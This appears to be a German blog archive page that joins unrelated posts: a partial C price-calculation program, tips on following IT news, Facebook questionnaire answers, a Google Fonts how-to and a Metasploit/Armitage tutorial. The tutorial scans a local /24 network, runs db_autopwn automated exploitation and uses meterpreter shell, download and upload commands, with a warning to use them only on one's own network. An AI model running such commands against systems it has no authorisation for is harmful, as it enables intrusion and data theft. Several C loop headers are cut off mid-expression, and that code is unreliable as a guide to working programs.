double gesamtpreis[100], dPreis[100];
printf("\nWarenkorb (Einzelpreise):\n");
// von 0 bis Anzahl ...
for (i=0; i alles OK
Argumente: *s ==> Zeiger auf den neuen Speicherbereich
iAnzahl ==> Anzahl an Eintraegen
*/
{
int i;
double gesamtpreis=0, dPreis[32];
// von 0 bis Anzahl ...
for (i=0; i alles OK
1 ==> es ist ein Fehler aufgetreten
Argumente: *s ==> Zeiger auf den neuen Speicherbereich
iAnzahl ==> Anzahl an Eintraegen
iKundenNr ==> Kunden-Nr.
*/
{
int i,x=false;
double dPreis[100];
// von 0 bis Anzahl ...
for (i=0;i != iAnzahl; i++)
{
// wenn der Eintrag gleich dem Suchbegriff ist ...
if (s[i].iKundenNr==iKundenNr)
{
dPreis[i] = berechnungPreis(s[i].dPreis, s[i].iLieferung,
s[i].iMontage, 0);
dPreis[i] = dPreis[i] * s[i].iProduktanzahl;
printf("\n(Index: %3d)\nKunde: %s\nKunden-Nr: %d\nProdukt: %s\n"
"Preis: %.2lf\n\n",i,s[i].pcKundenname,s[i].iKundenNr,
s[i].pcProduktname,dPreis[i]);
// x=1 -> Eintrag gefunden
x=true;
}
}
// wenn Eintrag nicht gefunden wurde, dann ...
if (x==false)
{
printf("\n\n**Kein Eintrag gefunden**\n\n");
return 1;
}
else
{
return 0;
}
}
/*
============================================================================
Funktion sucheNachName() - Infos ueber eine bestimmten Kunden-Namen
============================================================================
*/
int sucheNachName(kunden *s, int iAnzahl, char *pcKundenname)
/*
Rückgabewert: 0 ==> alles OK
1 ==> es ist ein Fehler aufgetreten
Argumente: *s ==> Zeiger auf den neuen Speicherbereich
iAnzahl ==> Anzahl an Eintraegen
*pcKundenname ==> Kunden-Name
*/
{
int i,x=false;
double dPreis[100];
// von 0 bis Anzahl ...
for (i=0;i != iAnzahl;i++)
{
// Vergleich (strcmp) von char-Arrays bzw. String
if ( !strcmp(pcKundenname,s[i].pcKundenname) )
{
dPreis[i] = berechnungPreis(s[i].dPreis, s[i].iLieferung,
s[i].iMontage, 0);
printf("\n(Index: %3d)\nKunde: %s\nKunden-Nr: %d\nProdukt: %s\n"
"Preis: %.2lf\n\n",i,s[i].pcKundenname,s[i].iKundenNr,
s[i].pcProduktname,dPreis[i]);
// x=1 -> Eintrag gefunden
x=true;
}
}
// wenn Eintrag nicht gefunden wurde, dann ...
if (x==false)
{
printf("\n\n**Kein Eintrag gefunden**\n\n");
return 1;
}
else
{
return 0;
}
}
/*
============================================================================
Funktion readKundenName() - scanf with check
============================================================================
*/
char *readKundenName(kunden *s, int iAnzahl, int iKundenNr)
/*
Rückgabewert: cNamePuffer ==> Kunden-Name
Argumente: *s ==> Zeiger auf den neuen Speicherbereich
iAnzahl ==> Anzahl an Eintraegen
iKundenNr ==> Kunden-Nr.
*/
{
int check=true, i;
static char cNamePuffer[100];
if (iAnzahl != 0)
{
for (i=0; i != iAnzahl; i++)
{
if (s[i].iKundenNr == iKundenNr)
{
strncpy(cNamePuffer,s[i].pcKundenname,
strlen(s[i].pcKundenname) +1);
check=false;
}
}
}
if (check==true)
{
do
{
printf("\tKunde (Name): ");
// Einlesen von cNamePuffer (pcKundenname)
scanf("%99s", cNamePuffer);
new_fflush();
if (!isalpha(cNamePuffer[0]))
{
printf("\n\n**Bitte einen korrekten Namen eingeben!!!**\n\n");
}
}
while (!isalpha(cNamePuffer[0]));
}
return cNamePuffer;
}
/*
============================================================================
Funktion readProduktanzahl() - scanf with check
============================================================================
*/
int readProduktanzahl(void)
/*
Rückgabewert: iProduktanzahl ==> Produktanzahl
Es werden keine Argumente übergeben!
*/
{
int check=true, iProduktanzahl;
check=true;
do
{
printf("\tAnzahl: ");
// Einlesen der Produktanzahl
check = !scanf("%d", &iProduktanzahl);
new_fflush();
if (check)
{
printf("\n\n**Bitte eine korrekte Produktanzahl eingeben!!!**\n\n");
}
}
while (check);
return iProduktanzahl;
}
/*
============================================================================
Funktion readLieferung() - scanf with check
============================================================================
*/
int readMontage(void)
/*
Rückgabewert: iMontage ==> Montage (1 | 0)
Es werden keine Argumente übergeben!
*/
{
int iMontage=0;
char cInput;
do
{
printf("\tMontage: ('j' fuer ja) ");
// Einlesen der Montage
scanf("%c", &cInput);
new_fflush();
if (!isalpha(cInput))
{
printf("\n**Bitte eine korrekte Eingabe taetigen!!!**\n");
}
}
while (!isalpha(cInput));
if (cInput == 'j')
{
iMontage=true;
}
return iMontage;
}
/*
============================================================================
Funktion readLieferung() - scanf with check
============================================================================
*/
int readLieferung(void)
/*
Rückgabewert: iLieferung ==> Lieferung (1 | 0)
Es werden keine Argumente übergeben!
*/
{
int iLieferung=0;
char cInput;
do
{
printf("\tLieferung: ('j' fuer ja) ");
// Einlesen der Lieferung
scanf("%c", &cInput);
new_fflush();
if (!isalpha(cInput))
{
printf("\n\n**Bitte eine korrekte Eingabe taetigen!!!**\n\n");
}
}
while (!isalpha(cInput));
if (cInput == 'j')
{
iLieferung=true;
}
return iLieferung;
}
/*
============================================================================
Funktion readKundenNr() - scanf with check
============================================================================
*/
int readKundenNr(void)
/*
Rückgabewert: iKundenNr ==> Kunden-Nr.
Es werden keine Argumente übergeben!
*/
{
int check=true, iKundenNr;
do
{
printf("\n\tKunden-Nr.: ");
// Einlesen der iKundenNr
check = !scanf("%d", &iKundenNr);
new_fflush();
if (check)
{
printf("\n\n**Bitte eine korrekte Kunden-Nr. eingeben!!!**\n\n");
}
}
while (check);
return iKundenNr;
}
/*
============================================================================
Funktion printMenu() - Ausgabe vom Menue
============================================================================
*/
int printMenu(void)
/*
Rückgabewert: 0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
printf("\n\tP R E I S K A L K U L A T I O N");
printf("\n\t===============================");
printf("\n\n\ta: Standardkonfiguration");
printf("\n\n\tb: Einzelkomponenten");
printf("\n\n\tc: Warenkorb anzeigen");
printf("\n\n\td: Suchen (Kunden-Name)");
printf("\n\n\te: Suchen (Kunden-Nr.)");
printf("\n\n\tf: Loeschen");
printf("\n\n\tx: Ende");
printf("\n\n\n\tAuswahl: ");
return 0;
}
/*
============================================================================
Funktion printMenuStandard() - Ausgabe vom Standard-Menue
============================================================================
*/
int printMenuStandard(void)
/*
Rückgabewert: 0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
printf("\n\tS T A N D A R D K O N F I G U R A T I O N");
printf("\n\t=========================================");
printf("\n\n\t1: %s\t\t%5.2f", FUNSTAR_NAME, FUNSTAR_PREIS);
printf("\n\t2: %s\t\t%5.2f", HIGHEND_NAME, HIGHEND_PREIS);
printf("\n\t3: %s\t% 5.2f", MULTIMEDIASTAR_NAME, MULTIMEDIASTAR_PREIS);
printf("\n\t4: %s\t\t%5.2f", OFFICESTAR_NAME, OFFICESTAR_PREIS);
printf("\n\t0: Abbruch");
printf("\n\n\n\tAuswahl: ");
return 0;
}
/*
============================================================================
Funktion printMenuEinzel() - Ausgabe vom Einzel-Menue
============================================================================
*/
int printMenuEinzel(void)
/*
Rückgabewert: 0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
printf("\n\tE I N Z E L K O M P O N E N T E N");
printf("\n\t=================================");
printf("\n\n\t1: %s", GEHAEUSE_NAME);
printf("\n\t2: %s\t\t%5.2f", MAINBOARD_NAME, MAINBOARD_PREIS);
printf("\n\t3: %s\t\t\t%5.2f", CPU_NAME, CPU_PREIS);
printf("\n\t4: %s\t\t%5.2f", FESTPLATTEN_NAME, FESTPLATTEN_PREIS);
printf("\n\t5: %s\t\t%5.2f", GRAFIKKARTEN_NAME, GRAFIKKARTEN_PREIS);
printf("\n\t0: Abbruch");
printf("\n\n\n\tAuswahl: ");
return 0;
}
/*
============================================================================
Funktion printMenuEinzel() - Ausgabe vom Einzel-Menue
============================================================================
*/
int printMenuGehaeuse(void)
/*
Rückgabewert: 0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
printf("\n\tG E H A E U S E K O M P O N E N T E N");
printf("\n\t=====================================");
printf("\n\n\t1: %s\t %5.2f", LX100_NAME, LX100_PREIS);
printf("\n\t2: %s\t %5.2f", LX120_NAME, LX120_PREIS);
printf("\n\t3: %s\t%5.2f", LX34A_NAME, LX34A_PREIS);
printf("\n\t0: Abbruch");
printf("\n\n\n\tAuswahl: ");
return 0;
}
Heute wollte ich beschreiben, wie ich mich über IT-News informiere, denn jeder der sich mit dem Thema “IT” beschäftigt bemerke schnell das aktuelle Informationen sehr wichtig sind, wenn z.B. eine Sicherheitslücke bekannt wird, Updates für bestimmte Programme anstehen oder man sich “einfach” über neue Technologien / Programme / etc. informieren möchte.
[stextbox id=”info”]An alle IT-Blogger: Ich bin immer auf der Suche nach neuen IT-Blogs und interessanten IT-News, daher würde ich euch bitten, folgende Angaben als Kommentar zu hinterlassen, so dass ich euch folgen und eure Nachrichten lesen kann, thx.[/stextbox]
Der Google Reader ist sehr praktisch, da man nicht die verschiedenen News-Seiten besuchen muss, man hat alle Informationen auf einem Blick zusammen. (Im RSS-Feed bitte immer ganze Artikel anzeigen lassen, anders macht RSS keinen Sinn!!!) Zudem kann man im Google-Reader auch bei anderen Google-Usern (Buzz) mitlesen, welche wiederum Infos/News weiterempfehlen können, so baut man sich schnell seine persönliche kleine News-Zentrale zusammen. Damit das ganze nicht unübersichtlich wird, sollte man die RSS-Feed in einzelne Ordner (Kategorien) speichern. Die Krönung ist ganzen ist dann, wenn du dir das Google-Reader App auf deinem Android-Smartphone installierst und immer alle aktuellen News abrufbereit in der Tasche hast.
Tipp: Per iGoogle (Google – Startseite) kannst du dir deine Google-Reader News auch anzeigen lassen und mehr viele weitere Infos wie z.B. das Wetter etc.
Auf speziellen Webseiten, werden auch RSS-Feed von Blogs zusammengefasst, so dass man diese nicht selber organisieren muss bzw. auch neue Blogs / News findet. Wer sich für das Thema (RSS-Sammlung -Planet) interessiert, kann sich eine solche Software ggf. auch selber installieren – www.planetplanet.org
z.B.:
+ News werden archiviert
+ Ordner erleichtern die Verwaltung
+ komplette News auf einer Webseite
– unübersichtlich, bei vielen Abos
– ggf. doppelte News bei mehreren Abos
Auch wenn die Technik vom Google-Reader schon sehr gut ist, wirklich ansprecht / übersichtlich sieht es nicht wirklich aus, daher nutze ich www.feedly.com. (verfügbar für Chrome, Firefox, Safari) Die einzelnen Kategorien vom Google-Reader kannst du dir nun übersichtlich in einer Art Zeitungsformat anzeigen lassen und bekommst viele weiter News Empfehlungen.
+ Ordner erleichtern die Verwaltung
+ komplette News auf einer Webseite
+ News werden gewichtet
+ Übersichtliche Darstellung
– nur im Browser verfügbar (App ist jedoch in Arbeit)
Wenn man aus welchem Grund auch immer unterwegs (offline) News lesen möchte, kann man sich auch mehrere RSS-Feed per E-Mail zuschicken lassen und zwar auf tabbloid.com. Außerdem nutze ich auch noch readitlaterlist.com, wir der Name (Read It Later) schon sagt, kann man hier bequem Webseiten abspeichern und später offline lesen.
Tipp: Für “Read It Later” gibt es auch Apps für dein Smartphone, falls du keine Internetflat hast. ;-)
+ Internet wird nicht ständig benötig
– ein wenig unübersichtlich (readitlaterlist.com)
– unübersichtlich (tabbloid.com)
Vor einiger Zeit habe ich mit mich darauf beschränkt (am Morgen) auf der Arbeit die IT-News des Tages per E-Mail zu lesen. Daher kann man meine Blog-Beiträge auch per E-Mail empfangen, dies lässt sich sehr einfach per RSS + FeedBurner realisieren.
Tipp: Unter Linux (Arch Linux & Ubuntu) nutzte ich “Claws Mail” als E-Mail Client. :-)
z.B.:
+ News werden archiviert
+ Filter-Regeln, erleichtern die Organisation
– unübersichtlich, bei vielen E-Mails / Abos
– ggf. doppelte News bei mehreren Abos
Wer ein wenig Zeit mitbringt, kann auf Twitter auch viele neue Leute kennen lernen und interessante News in der “Timeline” lesen, ich folge hier vielen IT-Bloggern und kann jedem der Twitter nutzt nur empfehlen Twitter-Listen anzulegen, um ein wenig Ordnung in die Informationsflut zu bekommen. z.B.: twitter.com/suckup_de/lists Indem andere diese Listen wiederum abonnieren, kann man auch ohne viel Zeitaufwand vielen News finden.
Tipp: Wer eine freie Alternative zu Twitter sucht sollte sich einmal identi.ca anschauen…
+ News in Echtzeit
+ Listen erleichtern die Verwaltung
– unübersichtlich Timeline, bei vielen Nachrichten
– spezielle News werden schnell überlesen
– doppelte News
Als Ergänzung zu Twitter möchte ich an dieser Stelle kurz “Twittertim.es” und “paper.li” vorstellen. Bei Twittertim.es kann man aus seiner Timeline eine Zeitung generieren, die Reihenfolge der Beiträge ergeben sich daraus, wie viele Bekannte diese Nachricht ebenfalls erwählt haben. paper.li ist ebenfalls ein Online-Zeitungs-Dienst, welcher Twitter und ggf. Facebook Meldungen (News) verarbeitet. Der Vorteil von paper.li ist der, dass man auch die erwähnten Twitter-Listen als ansprechende Zeitung publizieren und abonnieren kann. z.B.: paper.li/suckup_de/it-nachrichten
+ News werden gewichtet
+ Übersichtliche Darstellung
– spezielle News werden ggf. nicht anzeigt
Ergänzend zu den bisher Vorgestellen News-Quellen schaue ich teilweise auch in sogenannte Social-News, dort können User (du und ich) Nachrichten einreichen, diese können dann von anderen gepusht werden. Um so mehr Stimmen ein Beitrag erhält, desto weiter vorne (oben) wird dieser Angezeigt.
z.B.:
+ News werden gewichtet
– ggf. unrelevante / uninteressante News
– spezielle News werden schnell überlesen
– etwas unübersichtlich
Sehr schön finde ich auch Padcasts, wo sehr liebe Menschen News zusammentragen, diese als eine Art Radiosendung verpacken und als Audio-File anbieten. Solch ein Podcast kannst man sich jedoch nur anhören, wenn man auch die Zeit mitbringt! z.B. auf dem Weg zur Arbeit / im Zug / oder einfach gemütlich zu Hause. ;-)
z.B.:
+ ausführliche News
+ irgendwie persönlicher als ein heise-Artikel :-)
– festgelegte Themenauswahl
– ggf. lange Laufzeit
Es folgt meine Antwort auf die Blogparade von Internetblogger, dort wurden einige Fragen zu Facebook zusammengestellt, welche ich nun kurz beantworten möchte.
1.) Bist du bei Facebook angemeldet? Falls ja, verlinke doch mal deine/n Account/s.
Facebook <- Jop! Jedoch muss ich sagen, dass in meinem Bekanten- / Freundeskreis fast alle bei StudiVZ und nur wenige parallel auf Facebook unterwegs sind. Ich persönlich wäre dafür, dass Facebook das ganz StuduXYZ aufkauft und ein Produkt daraus gemacht wird, aber auf mich hört ja keiner. ;-)
2.) Besitzt du eine Fanpage?
Fanpage <- Auch hier bin ich bzw. mein Blog vertreten, jedoch dümpelt die Anzahl der Personen denen meine Seite gefällt irgendwo im einstelligen Bereich… Ggf. kannst “du” das ändern! ;-)
3.) Seit wann bist du in Facebook und wie viele Fans hast du inzwischen?
Habe die Fanpage irgendwann letztes Jahr angelegt, jedoch erst vor kurzem das “Soziales Plug-in von Facebook” auf meinem Blog (Sidebar) veröffentlicht, so dass man die Seite auch findet.
4.) Pi x Daumen abgeschätzt, wie oft/wie viele Stunden täglich/wöchentlich/monatlich facebookst du? Kann man dabei eine Regelmässigkeit feststellen?
Höchstens 1 Stunde in der Woche, da ich momentan mehr auf Twitter unterwegs bin und meine “Tweets” mir meiner Facebook-Fanpage verknüpft habe, so dass ich auch dort ein wenig Content produziere. :-)
5.) Für welche Zwecke setzt du Facebook ein(Freunde treffen, Blogartikel promoten, Kontakte knüpfen, einfach dabei sein oder eben deine Meinung)?
Gute Frage, wahrscheinlich um mitreden zu können und ggf. neue Leute zu finden, welche die selben Interessen (Computer, Netzwerk, Linux, Programmierung…) haben wie ich.
6.) Analys.ierst du deine Facebook-Aktivitäten bzw. deinen Facebook-Account? Dabei kann man dies entweder mit Facebook-Insights oder Google Analytics tracken.
Nein.
7.) Wie sieht deiner Meinung nach die Zukunft von Facebook aus?
Ich glaube Facebook hat sich bereits fest etabliert, so schnell schafft man es nicht noch einmal, dass sich sooo viele Menschen an einer Webseite anmelden. Außerdem kenne ich Leute, die schreiben Nachrichten (anstatt E-Mails) mit Facebook, Chatten mit Facebook (anstatt ICQ, Jabber, MSN, etc. zu starten) und sprechen sich per Facebook-Places ab, wo man sich trifft. Auch wenn ich nicht ganz einsehe, dass Facebook über 50 Milliarden Dollar Wert sein soll, so kann man einen gewissen Nutzen nicht abstreiten.
8.) Verwendest du externe Facebook-Apps(iPad, iPhone), Fanpage-Box auf der Webseite, einen externen Client zum Facebooken wie etwa TweetDeck etc. ?
Ich nutze das Android App von Facebook, so dass ich sofort mitbekomme, wenn ich eine neue Nachricht habe und wie bereits soeben beschrieben, nutze ich seit neustem diese Fanpage-Box auf meiner Webseite. Tipp: man kann die Fanpage-Box auch am Webseiten-Design anpassen -> http://it-runde.de/facebook-fan-box-individuell-gestalten <- werde ich ggf. auch noch machen. :-)
9.) Drückst du auf “Gefällt mir”-Buttons in Facebook und/oder auf Blogs bzw. Webseiten? Welche Haltung hast du dazu?
Ich nutze diesen “Gefällt mir”-Button bei Blogs welche mir wirklich gut gefallen, so dass man ggf. Beiträge die man im Feed-Reader übersieht, auch noch mal auf Facebook angezeigt bekommt.
10.) Kannst du bzgl. Facebook traffic-bezogene Aussagen machen? Bringt dieses Netzwerk einem Webmaster überhaupt etwas?
Kann ich leider keine Aussagen drüber machen, für meinen Blog zumindest noch nicht. Aber ich kann mir Vorstellen, dass diese Form der Promotion über Facebook sehr viele neue Leute auf eine Webseite locken kann, denn wenn mir ein Freund etwas empfiehlt werde ich mir es ehr ansehen, als wenn Werbung dafür gemacht wird.
11.) Was hältst du von dem Datenschutz auf Facebook? Muss Facebook dringend reagieren, um eines Tages den Rückgang der Nutzerschaft zu vermeiden? Deine eigenen Äusserungen zu diesem Anliegen!?
Datenschutz?
“Alle aktuellen Browser können Schriftarten per CSS vom Server holen, um die auf dem Rechner vorinstallierte Auswahl von Fonts zu ergänzen und Webdesignern typografische Handlungsfreiheit zu ermöglichen. In der Praxis scheitern diese Webfonts bisher aber oft am technischen Aufwand, an Lizenzfragen und an unterschiedlichen Implementierungen in den Browsern. Die auf der Google-Entwicklerkonferenz Google I/O vorgestellten Google Font API und Google Font Directory könnten dieser Technik endlich zum Durchbruch verhelfen und das Aussehen von Webseiten nachhaltig verändern.” – heise.de
Google Web Schriftarten sind mit folgenden Browsern kompatibel:
1.) Und -> hier <- gibt es ein kleines HowTo von Google, welches zeigt, dass man als erstes folgendes (ggf. Rennie Beanie gegen eine andere Schriftart austauchen) im HTML-Quellcode einfügen muss…
href='http://fonts.googleapis.com/css?family=Reenie+Beanie' rel='stylesheet' type='text/css'>
… du kannst diese Fonts/Schriftarten und auch die nachfolgenden Modifizierungen (CSS) mit WordPress auch über ein Plugin (WP Google Fonts) einstellen.
2.) Als nächstes können wir die Schriftart noch per CSS modifizieren …
.PostHeader a:link
{
font-family: 'Reenie Beanie', Arial, Sans-Serif;
font-size: 32px;
text-decoration: none;
text-align: left;
color: #265273;
}
3.) … und dies z.B. folgendermaßen als Überschrift für WordPress in der Datei (single.php) verwenden. Wie das Ergebnis am Ende aussieht, kannst du hier im Blog sehen. ;-)
<span><h1><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php the_title(); ?></a></h1></span>
4.) Wer will kann auch erst eine normale Schrift anzeigen lassen und dann die Google-Fonts per JavaScript laden lassen… -> hier <- gibt es diesbezüglich weitere Infos.
<html>
<head>
<script type="text/javascript">
WebFontConfig = {
google: { families: [ 'Tangerine', 'Cantarell' ] }
};
(function() {
var wf = document.createElement('script');
wf.src = ('https:' == document.location.protocol ? 'https' : 'http') +
'://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js';
wf.type = 'text/javascript';
wf.async = 'true';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(wf, s);
})();
</script>
<style type="text/css">
.wf-loading p {
font-family: serif
}
.wf-inactive p {
font-family: serif
}
.wf-active p {
font-family: 'Tangerine', serif
}
.wf-loading p {
font-family: serif;
font-size: 16px
}
.wf-inactive h1 {
font-family: serif;
font-size: 16px
}
.wf-active h1 {
font-family: 'Cantarell', serif;
font-size: 16px
}
</style>
</head>
<body>
<h1>This is using Cantarell</h1>
<p>This is using Tangerine!</p>
</body>
</html>
“Das Metasploit-Projekt ist ein freies Open-Source-Projekt zur Computersicherheit, das Informationen über Sicherheitslücken bietet und bei Penetrationstests sowie der Entwicklung von IDS-Signaturen eingesetzt werden kann. Das bekannteste Teilprojekt ist das Metasploit Framework, ein Werkzeug zur Entwicklung und Ausführung von Exploits gegen verteilte Zielrechner. Andere wichtige Teilprojekte sind das Shellcode-Archiv und Forschung im Bereich der IT-Sicherheit.
Wie vergleichbare kommerzielle Lösungen wie CANVAS (von Immunity) oder Core Impact (von Core Security Technology), kann Metasploit von Administratoren eingesetzt werden, um die Schwachstellen von Computersystemen zu prüfen und diese bei Bedarf zu schließen. Andererseits kann es auch missbraucht werden, um in andere Systeme einzubrechen. Während der beschriebene Einsatz durch einen Administrator in seinem eigenen Netzwerk nicht nur legitim, sondern auch legal ist, erfüllt ein Einsatz ohne ausdrückliche Erlaubnis bei Fremdsystemen Tatbestände der Computerkriminalität.” – Wiki
[stextbox id=”alert” caption=”Achtung”]Ausdrücklich möchte ich noch einmal darauf hinweisen, dass man dieses Programm nur zur Analyse des eigenen Netzwerkes nutzen darf![/stextbox]
Als erstes müssen wir einige Dinge nachinstallieren um “unser eigenes” Netzwerk bzw. die Rechner in diesem auf Exploits zu prüfen und spätestens jetzt bemerkt man, dass ein Patch-Day im Monat ggf. nicht ausreicht, sobald man auf eine globale Exploit-Datenbank zurückgreifen kann ;-) …
aptitude install ruby postgres libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby libgtk2-ruby libglade2-ruby rubygems libpq-dev libreadline-dev libssl-dev libpq5 ruby-dev
sudo gem install pg
vim /etc/postgresql/8.3/main/postgresql.conf
#ssl = true
sudo /etc/init.d/postgresql restart
sudo -s
su postgres
createuser msf_user -P
Enter password for new role: *******
Enter it again: *******
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
createdb --owner=msf_user msf_database
wget http://www.metasploit.com/releases/framework-3.5.1-linux-i686.run
wget http://www.metasploit.com/releases/framework-3.5.1-linux-x86_64.run
sudo sh ./framework-3.5.1*
sudo rm -rf /opt/metasploit3/msf3/
sudo svn checkout https://www.metasploit.com/svn/framework3/trunk /opt/metasploit3/msf3/
sudo svn update /opt/metasploit3/msf3/
sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/
update-rc.d -f postgresql remove
sudo /etc/init.d/postgresql start
sudo msfupdate
sudo msfconsole
msf > db_driver postgresql
msf > db_connect msf_user:[password]@127.0.0.1:5432/msf_database
msf > db_workspace -a meinProjekt
msf > db_nmap 192.168.50.0/24
msf > db_hosts
msf > db_services
msf > db_autopwn -t -p -e
msf > session -i 1
meterpreter >
ipconfig
execute
shell
download
upload
sudo add-apt-repository "deb http://archive.canonical.com/ lucid partner"
sudo apt-get update
sudo apt-get install sun-java6-jdk
sudo /etc/init.d/postgresql start
sudo msfconsole
msf > load xmlrpc
cd ~/Desktop/
wget http://www.fastandeasyhacking.com/download/armitage122210.tgz
tar xzvf armitage122210.tgz
cd armitage/
./armitage.sh
Hosts -> Clear HostsHosts -> Nmap Scan -> Quick Scan (OS detect)
Naja eigentlich ist es für mich meine erste Blogblume daher V1.0. In der Blogparade auf “blogblume.de” geht es darum, eine “Blume zu pflanzen” (mithilfe von HTML Graph) aber noch schönes als das Bild das an Ende dabei herauskommt, ist der Aufbau dieser “Blume”, daher einfach selber ausprobieren… :-)